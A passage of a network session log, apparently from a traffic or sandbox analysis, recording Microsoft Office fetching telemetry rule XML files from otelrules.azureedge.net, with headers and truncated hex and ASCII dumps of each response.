2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-1777c6cb754j47wfhC1TEB5wrw000000048g00000000ggxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-185f5d8b95c5lcmhhC1NYCsnsw000000090g0000000182n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-185f5d8b95cf7qddhC1NYC66an000000096000000000aayt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-1777c6cb754mqztshC1TEB4mkc00000008dg00000000r6ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-1777c6cb754whff4hC1TEBcd6c00000006y000000000ypbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-1777c6cb754lv4cqhC1TEB13us00000008hg0000000008xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-1777c6cb7544nvmshC1TEBf7qc000000088000000000gd83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49972	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-r1d97b99577jlrkbhC1TEBq8d000000007m000000000e3a6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:21 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:21 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:22 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181521Z-185f5d8b95cqnkdjhC1NYCm8w80000000910000000002szb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:22 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:22 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:22 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181522Z-185f5d8b95c9mqtvhC1NYCghtc00000009800000000021xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:22 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49974	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:22 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:22 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181522Z-r1d97b9957789nh9hC1TEBxha800000007rg00000000ra1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49978	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:22 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:22 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:22 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181522Z-r1d97b995777mdbwhC1TEBezag00000007t0000000001vhq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
